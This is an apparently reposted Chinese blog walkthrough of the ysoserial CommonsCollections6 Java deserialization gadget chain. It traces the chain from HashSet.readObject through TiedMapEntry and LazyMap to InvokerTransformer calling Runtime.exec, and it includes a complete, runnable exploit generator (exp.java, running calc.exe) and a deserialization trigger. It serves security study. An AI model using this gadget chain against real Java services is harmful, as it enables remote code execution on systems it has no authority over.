java反序列化-ysoserial-调试分析总结篇(6)

摘要:
前言:本文记录了CommonsCollections 6的调试。外层也是一个新类。它被一个哈希集替换,即从哈希集触发其readObject()。yso给出的调用链如下图所示。使用链分析:首先,获取哈希集中的设备容量和负载因子等操作,然后创建哈希图。将ObjectinputStream中的对象放入hashmap,即调用hashmap.Put函数,您可以看到此时实际放入的是一个T
前言:

这篇记录CommonsCollections6的调试,外层也是新的类,换成了hashset,即从hashset触发其readObject(),yso给的调用链如下图所示

java反序列化-ysoserial-调试分析总结篇(6)第1张

利用链分析:

java反序列化-ysoserial-调试分析总结篇(6)第2张

首先在hashset内部首先获取器容量与负载因子等操作,然后创建hashmap,将ObjectinputStream中的对象放到hashmap中,即调用hashmap.put函数,可以看到此时实际上放进去的是一个TiedMapEntry,TiedMapEntry是cc5加入进去的一个Map类,其getvalue函数能够获取指定map的key,所以跟进

java反序列化-ysoserial-调试分析总结篇(6)第3张

hashMap在放入元素时将会对当前的key计算一个hash值,即这里调用hashCode()函数,所以即调用TiedMapEntry的hashCode()函数,在hashCode函数中将调用该类的getvalue函数,

所以从此刻开始就和CommonsCollections5的后续利用链相同了,因为CC5是在该类的toString中调用getvalue

java反序列化-ysoserial-调试分析总结篇(6)第4张

接着就跳到this.map.get(this.key),此时this.map即为lazymap.get

 java反序列化-ysoserial-调试分析总结篇(6)第5张

在lazymap.get中将调用this.factory.transform,而我们知道this.factory是可控的,这里依然为chaindTransform

 java反序列化-ysoserial-调试分析总结篇(6)第6张

接下来到了chainedTransformer的transform了,接下来的过程不再赘述,即为contantTransform+invokeTranform结合反射调用方法来进行rce

 java反序列化-ysoserial-调试分析总结篇(6)第7张

 yso构造分析:

java反序列化-ysoserial-调试分析总结篇(6)第8张

这里还是老套路,先构造内部transform转换链,然后构造lazymap,将chained链放进去,接着将lazymap放到TiedMapEntry中

java反序列化-ysoserial-调试分析总结篇(6)第9张

接下来构造hashset实例

 java反序列化-ysoserial-调试分析总结篇(6)第10张

java反序列化-ysoserial-调试分析总结篇(6)第11张

接着拿到该hashset的map属性,该属性就是个hashmap

java反序列化-ysoserial-调试分析总结篇(6)第12张

接着拿到haspmap中的table属性,在table中存储节点对象,然后通过反射拿到节点数组,

 java反序列化-ysoserial-调试分析总结篇(6)第13张 java反序列化-ysoserial-调试分析总结篇(6)第14张

接着令节点存储Tiedmapentry放进该node节点的key

java反序列化-ysoserial-调试分析总结篇(6)第15张

这里下断点跟一下往haspset中放数据的过程也就是haspmap的存储过程,比如这里exp中存第一个元素,就是新建一个node节点,即当前的key为"tr1ple"

java反序列化-ysoserial-调试分析总结篇(6)第16张

手动构造exp:

 exp.java

package CommonsCollections6;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.lang.Class;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class exp {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException, IOException {
        //构造内部转换链
        Transformer[] trans = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},new Object[]{"calc.exe"}
                        )
        };
        ChainedTransformer chain = new ChainedTransformer(trans);
        HashMap innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "tr1ple");


        //构造外部入口链
        HashSet newSet = new HashSet(1);
        newSet.add("tr1ple");
        Field innerSetMap  = HashSet.class.getDeclaredField("map");
        innerSetMap.setAccessible(true);
        //修改hashset内部的hashmap存储
        HashMap setMap = (HashMap)innerSetMap.get(newSet);
        Field table = HashMap.class.getDeclaredField("table");
        table.setAccessible(true);
        //拿到存储的数据
        Object[] obj =(Object[])table.get(setMap);
        Object node  = obj[0];

        System.out.println(node.getClass().getName());
        Method[] methods  = node.getClass().getMethods();
        /*
        for(int i=0;i<methods.length;i++){
            System.out.println(methods[i].getName());
        }
        */
        //拿到此时存到hashset中的node节点,key为要修改的点,这里需要修改它为真正的payload,即Tiedmapentry
        System.out.println(node.toString());
        
        Field key = node.getClass().getDeclaredField("key");
        key.setAccessible(true);
        key.set(node,entry);
        //hashset的hashmap中的node节点修改完值以后放进hashset
        Field finalMap = newSet.getClass().getDeclaredField("map");
        finalMap.setAccessible(true);
        finalMap.set(newSet,setMap);

        //序列化
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
        ObjectOutputStream objOut = new ObjectOutputStream(new FileOutputStream(file));
        objOut.writeObject(newSet);

    }
}

readObj.java

package CommonsCollections6;

import java.io.*;
import java.lang.Runtime;

public class readObj {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        File file;
        file = new File(System.getProperty("user.dir")+"/javasec-ysoserial/src/main/resources/commonscollections6.ser");
        ObjectInputStream obj = new ObjectInputStream(new FileInputStream(file));
        obj.readObject();

    }
}

免责声明:文章转载自《java反序列化-ysoserial-调试分析总结篇(6)》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇5分钟理解iaas paas saas三种云服务区别Postman接口测试_Newman运行集合脚本下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

kafka producer serializer序列化(六)

生产者需要将要发送的数据转换成字节数组才能通过网络发送给kafka,对于一些简单的数据,kafka自带了一些序列化工具, 如:StringSerializer Double Long Integer Byte,它们都实现了  Serializer 接口,但是如果你要发送的数据是一个对象 Persion,那么就需要自定义序列化才能将数据发送给kafka...

二叉树的序列化和反序列化(Java)

请实现两个函数,分别用来序列化和反序列化二叉树 序列化就是将二叉树以字符串输出,反序列化:根据自己输出的字符串,构建二叉树。 这里先序遍历输出,且为了方便反序列化,各个节点“,”隔开,且叶子节点后用"#,"隔开 /* public class TreeNode {     int val = 0;     TreeNode left = null;   ...

JAVA基础4---序列化和反序列化深入整理(JDK序列化)

一、什么是序列化和反序列化? 序列化:将对象状态信息转化成可以存储或传输的形式的过程(Java中就是将对象转化成字节序列的过程) 反序列化:从存储文件中恢复对象的过程(Java中就是通过字节序列转化成对象的过程) 二、为什么要序列化和反序列化? Java中对象都是存储在内存中,准确地说是JVM的堆或栈内存中,可以各个线程之间进行对象传输,但是无法在进程之间...

redis序列化异常------------org.springframework.data.redis.serializer.SerializationException

异常信息; org.springframework.data.redis.serializer.SerializationException: Cannot deserialize; nested exception is org.springframework.core.serializer.support.SerializationFailedExce...

coding++:error Could not read JSON: Unexpected token (START_OBJECT), expected START_ARRAY: need JSON Array to contain As.WRAPPER_ARRAY type information for class java.lang.Object

Spring源码中是使用容器中的ObjectMapper对象进行序列化和反序列化。 当我们将自定义的ObjectMapper对象放入IOC容器中后,会自动覆盖SpringBoot自动装载的ObjectMapper对象。 若是我们在自定义的ObjectMapper中设置了objectMapper.enableDefaultTyping(ObjectMapp...

深入浅出 RPC

《深入篇》我们主要围绕 RPC 的功能目标和实现考量去展开,一个基本的 RPC 框架应该提供什么功能,满足什么要求以及如何去实现它? RPC 功能目标 RPC 的主要功能目标是让构建分布式计算(应用)更容易,在提供强大的远程调用能力时不损失本地调用的语义简洁性。为实现该目标,RPC 框架需提供一种透明调用机制让使用者不必显式的区分本地调用和远程调用,在前文...